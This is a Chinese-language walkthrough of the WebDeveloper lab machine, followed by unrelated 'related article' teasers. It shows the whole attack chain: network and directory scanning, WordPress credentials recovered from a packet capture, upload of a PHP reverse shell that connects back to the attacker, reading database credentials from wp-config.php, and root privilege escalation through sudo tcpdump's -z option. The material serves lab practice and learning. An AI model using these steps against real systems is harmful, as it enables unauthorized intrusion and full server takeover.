WebDeveloper靶机复现

server/2024/10/18 8:38:07/

靶机设置

设置靶机为NAT模式

靶机IP发现

nmap 192.168.112.0/24

靶机ip为192.168.112.137

目录扫描

开放80端口,进行目录扫描

dirb 192.168.112.137

访问浏览器

目录拼接

拼接/ipdata

发现了一个流量包

在wireshark里面查看,发现wordpress的账户密码

账号:webdeveloper

密码:Te5eQg&4sBS!Yr$)wf%(DcAd

拼接/wp-login.php

发现后台,进行登陆

登陆成功

getshell

发现可以文件上传的地方

使用kali反弹shell

cd /usr/share/webshells/php

ls

mv php-reverse-shell.php /home/kali/Desktop

vim php-reverse-shell.php

改成kali的ip进行监听

提交文件

发现上传的文件在wp-content/uploads/目录下

kali监听后点击

getshell成功

ssh登陆

sudo -l查看发现没有免密操作

shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

进入交互式shell

cd /var/www/html/ ,查看 wp-config.php 文件

发现了数据库的账号密码

账号:webdeveloper

密码:MasterOfTheUniverse

进行ssh登陆

ssh webdeveloper@192.168.112.137

登陆成功

提权

sudo -l查看免密操作

发现tcpdump操作可以执行

find / -name php-reverse-shell.php 2>/dev/null

COMMAND='php /var/www/html/wp-content/uploads/2028/08/php-reverse-shell.php'

TF=$(mktemp)

echo "$COMMAND" > $TF

chmod +x $TF

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root

提权成功


http://www.ppmy.cn/server/100147.html

相关文章

机器学习之随机森林

文章目录 1. 随机森林概述1.1 定义与起源1.2 与其他算法的比较 2. 随机森林的工作原理2.1 决策树基础2.2 Bagging机制2.3 随机性的引入 3. 随机森林的构建过程3.1 数据准备3.2 特征选择3.3 多棵树的集成 4. 随机森林的优缺点分析4.1 优势4.2 局限性 5. 随机森林的应用场景5.1 分…

Android中的Binder

binder是Android平台的一种跨进程通信(IPC)机制,从应用层角度来说,binder是客户端和服务端进行通信的媒介。 ipc原理 ipc通信指的是两个进程之间交换数据,如图中的client进程和server进程。 Android为每个进程提供了…

从C向C++26——C++11(3)

一.可调用对象 1.可调用对象 可调用对象分为四类&#xff1a; 是一个函数指针 int print(int a, double b) {cout << a << b << endl;return 0; } // 定义函数指针 int (*func)(int, double) print; //使用using起别名来定义函数指针&#xff0c;注意把us…

基于商业化glm大模型接口的pdf目录提取实验

鬼知道这个实验是怎么变成今天这个样子的。希望大家踊跃参加比赛&#xff0c;这样我的压力会更小。不然就要自己充钱了。这是参赛地址&#xff1a;智谱AI开放平台 世界上有很多PDF文档。这些PDF中有些非常标准化&#xff0c;可以从源码中直接解析出章节信息&#xff1b;而有些…

HAProxy 负载均衡原理深度解析

目录 一、引言 二、HAProxy 简介 三、工作模式 3.1、四层负载均衡&#xff08;Layer 4&#xff09; 3.2、七层负载均衡&#xff08;Layer 7&#xff09; 3.3、区别和选择 四、 负载均衡算法 4.1、静态负载均衡算法 4.2、动态负载均衡算法 4.3、其他算法 4.4、选择算…

springboot使用WebSocket

1、、创建springboot项目&#xff0c;勾选Spring web&#xff0c;并导包 当前springboot选择的是2.6.13版本&#xff0c;jdk1.8尽量选2.几的springboot <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-we…

Video视频抽帧和WebCodecs API视频抽帧介绍

目录 mp4Box抽帧 ffmpeg抽帧 video元素抽帧 WebCodecs 核心API 视频文件是一个容器&#xff0c;里面有很多不同的轨道信息。如&#xff1a;图像、声音、字幕等。而视频图像信息又是由一系列图片序列帧的集合。如10秒时长的视频&#xff0c;假设每秒30帧。那大概有300条图像…

relativePath

Maven中的parent.relativePath元素用于指定父POM的相对路径。当你看到这样的错误信息时&#xff0c;它意味着Maven期望在某个位置找到一个父POM&#xff0c;但实际上找到的是另一个POM。 在你的情况下&#xff0c;错误信息表明com.cubemall:cubemall-product:0.0.1-SNAPSHOT项…